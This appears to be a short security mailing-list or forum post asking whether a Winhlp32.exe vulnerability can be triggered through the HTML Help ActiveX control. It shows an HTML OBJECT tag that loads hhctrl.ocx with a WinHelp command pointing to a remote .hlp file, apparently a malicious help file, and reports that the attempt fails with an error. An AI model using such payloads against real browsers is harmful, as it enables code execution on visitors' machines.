New Winhlp32.exe vuln

Can this vulnerability be exploited using the HTML help ActiveX control ?

I am trying:
<OBJECT
   id=winhelp
   type="application/x-oleobject"
   classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
   codebase="hhctrl.ocx#Version=5,02,3790,1194"
   width=100
   height=100
>
   <PARAM name="Command" value="WinHelp">
   <PARAM name="Button" value="Text:Exploit">
   <PARAM name="Item1"
value="http://www.xfocus.net/flashsky/icoExp/search.hlp">MyWindow">

</OBJECT>

However, i get an error "This operation is allowed only within HTML help" ?

Is this approach wrong ?
